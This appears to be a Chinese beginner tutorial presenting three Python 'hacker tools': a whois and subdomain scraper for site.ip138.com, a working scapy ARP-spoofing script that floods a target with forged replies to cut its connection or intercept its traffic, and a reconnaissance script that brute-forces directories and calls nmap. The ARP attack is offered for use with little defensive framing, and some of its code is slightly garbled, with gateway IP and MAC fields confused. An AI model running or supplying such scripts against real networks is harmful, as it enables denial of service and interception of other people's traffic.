新手Python黑客工具入门
前言为了满足新手对Python的追求，特写了三个初级Python入门工具。第一期写了三个初级工具，希望新手看完以后可以对Python的脚本有一个基本了解。高手请绕过此文章！
一件套：pythond requests模块，构造一个whois信息收集器；
二件套：Python编写一个arp断网攻击；
三件套：目录信息收集。
一件套前言： 带给想写项目但无从下手的朋友们，这些脚本都比较容易理解简单梳理一下此工具需要具备哪些功能。脚本获取信息如下：
IP信息
子域名
备案
注册人
邮箱
地址
电话
DNS
具体操作如下：
我们要用到的模块是requests
python环境：py3
安装方法：
pip install requests或python steup.py install
通过来进行查询
输入你要查询的域名/domain.html #这个目录用于查询IP解析记录
htp://site.ip138.com/输入你要查询的域名/beian.html #这个用于查询子域名
输入你要查询的域名/whois.html #这个用于进行whois查询
好了现在我们开始构造我们的代码，代码里面有详细的注释
#首先我们要导入requests模块和bs4模块里的BeautifulSoup和time模块 import requests import time from bs4 import BeautifulSoup #设置好开始时间点 strat=time.time() def chax(): #询问用户要查询的域名 lid=input('请输入你要查询的域名:') #设置浏览器头过反爬 head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} #设置好url url="http://site.ip138.com/{}/".format(lid) urldomain="http://site.ip138.com/{}/domain.htm".format(lid) url2="http://site.ip138.com/{}/beian.htm".format(lid) url3="http://site.ip138.com/{}/whois.htm".format(lid) #打开网页 rb=requests.get(url,headers=head) rb1=requests.get(urldomain,headers=head) rb2=requests.get(url2,headers=head) rb3=requests.get(url3,headers=head) #获取内容并用html的方式返回 gf=BeautifulSoup(rb.content,'html.parser') print('[+]IP解析记录') #读取内容里的p标签 for x in gf.find_all('p'): #使用text的内容返回 link=x.get_text() print(link) gf1=BeautifulSoup(rb1.content,'html.parser') print('[+]子域名查询') for v in gf1.find_all('p'): link2=v.get_text() print(link2) gf2=BeautifulSoup(rb2.content,'html.parser') print('[+]备案查询') for s in gf2.find_all('p'): link3=s.get_text() print(link3) gf3=BeautifulSoup(rb3.content,'html.parser') print('[+]whois查询') for k in gf3.find_all('p'): link4=k.get_text() print(link4) chax() end=time.time() print('查询耗时:',end-strat)
你们知道arp攻击的原理吗？如果不知道不要紧，下面开始介绍
arp攻击原理：
通过伪造IP地址与MAC地址实现ARP欺骗，在网络发送大量ARP通信量。攻击者只要持续不断发送arp包就能造成中间人攻击或者断网攻击。（PS:我们只需要scapy里的一些参数就可以实现）
scapy介绍：
Scapy是一个Python程序，使用户能够发送，嗅探和剖析和伪造网络数据包。此功能允许构建可以探测，扫描或攻击网络的工具。
换句话说，Scapy是一个功能强大的交互式数据包处理程序。它能够伪造或解码大量协议的数据包，在线上发送，捕获，匹配请求和回复等等。Scapy可以轻松处理大多数经典任务，如扫描，追踪，探测，单元测试，攻击或网络发现。它可以替代hping，arpspoof，arp-sk，arping，pf，甚至是Nmap，tcpdump和tshark的某些部分。scapy的一个小例子:
ps:scapy正确的食用手册请认真看完介绍和部分基础：【传送门】
安装scapy：
py2安装方法：
pip install scapy
py3安装方法：
pip install scapy3
更多的安装方法：【传送门】
我的系统环境是:Kali Linux下
各位读者可以考虑一些使用以下系统环境：
Centos
Ubuntu
Mac os
ps：尽量不要使用windows，windows会报错！
缺少windows.dll，具体这个dll安装后会不会又报错官方没给出答复
#p#分页标题#e#编写攻击的脚本： Ether是构造网络数据包 ARP进行ARP攻击 sendp进行发包
import os import sys from scapy.layers.l2 import getmacbyip from scapy.all import ( Ether, ARP, sendp ) #执行查看IP的命令 ifconfig=os.system('ifconfig') print ifconfig gmac=raw_input('Please enter gateway IP:') liusheng=raw_input('Please enter your IP:') liusrc=raw_input('Please enter target IP:') try: #获取目标的mac tg=getmacbyip(liusrc) print tg except Exception , f: print '[-]{}'.format(f) exit() def arpspoof(): try: eth=Ether() arp=ARP( op="is-at", #arp响应 hwsrc=gmac, #网关mac psrc=liusheng,#网关IP hwdst=tg,#目标Mac pdst=liusrc#目标IP ) #对配置进行输出 print ((eth/arp).show()) #开始发包 sendp(eth/arp,inter=2,loop=1) except Exception ,g: print '[-]{}'.format(g) exit() arpspoof()
从受害者角度看
下面我们来写一个收集信息的脚本。
准备：
安装好requests,bs4模块: pip install requests pip install bs4 或者去下载好对应的模块压缩包 然后找到steup.py执行python steup.py install
思路： 使用requests.headers()获取http头部信息 通过htp响应码来判断robots是否存在 通过http响应码判断存在的目录 通过nmap判断开放的端口(PS:这里我是使用os模块来进行nmap命令扫描)我这边的nmap模块一调用，nmap就会出现停止运行 通过爬取某网站获得对应的whois,IP反查域名的信息。
开始：
import requests import os import socket from bs4 import BeautifulSoup import time #获取http指纹 def Webfingerprintcollection(): global lgr lgr=input('请输入目标域名：') url="http://{}".format(lgr) header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} r=requests.get(url,headers=header) xyt=r.headers for key in xyt: print(key,':',xyt[key]) Webfingerprintcollection() print('================================================') #判断有无robots.txt def robots(): urlsd="http://{}/robots.txt".format(lgr) header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} gf=requests.get(urlsd,headers=header,timeout=8) if gf.status_code == 200: print('robots.txt存在') print('[+]该站存在robots.txt',urlsd) else: print('[-]没有robots.txt') robots() print("=================================================") #目录扫描 def Webdirectoryscanner(): dict=open('build.txt','r',encoding='utf-8').read().split('\n') for xyt in dict: try: header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} urljc="http://"+lgr+"{}".format(xyt) rvc=requests.get(urljc,headers=header,timeout=8) if rvc.status_code == 200: print('[*]',urljc) except: print('[-]远程主机强迫关闭了一个现有的连接') Webdirectoryscanner() print("=====================================================") s = socket.gethostbyname(lgr) #端口扫描 def portscanner(): o=os.system('nmap {} program'.format(s)) print(o) portscanner() print('======================================================') #whois查询 def whois(): heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} urlwhois="http://site.ip138.com/{}/whois.htm".format(lgr) rvt=requests.get(urlwhois,headers=heads) bv=BeautifulSoup(rvt.content,"html.parser") for line in bv.find_all('p'): link=line.get_text() print(link) whois() print('======================================================') #IP反查域名 def IPbackupdomainname(): wu=socket.gethostbyname(lgr) rks="http://site.ip138.com/{}/".format(wu) rod={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} sjk=requests.get(rks,headers=rod) liverou=BeautifulSoup(sjk.content,'html.parser') for low in liverou.find_all('li'): bc=low.get_text() print(bc) IPbackupdomainname() print('=======================================================') #p#分页标题#e#
三件套下载地址Github：【传送门】
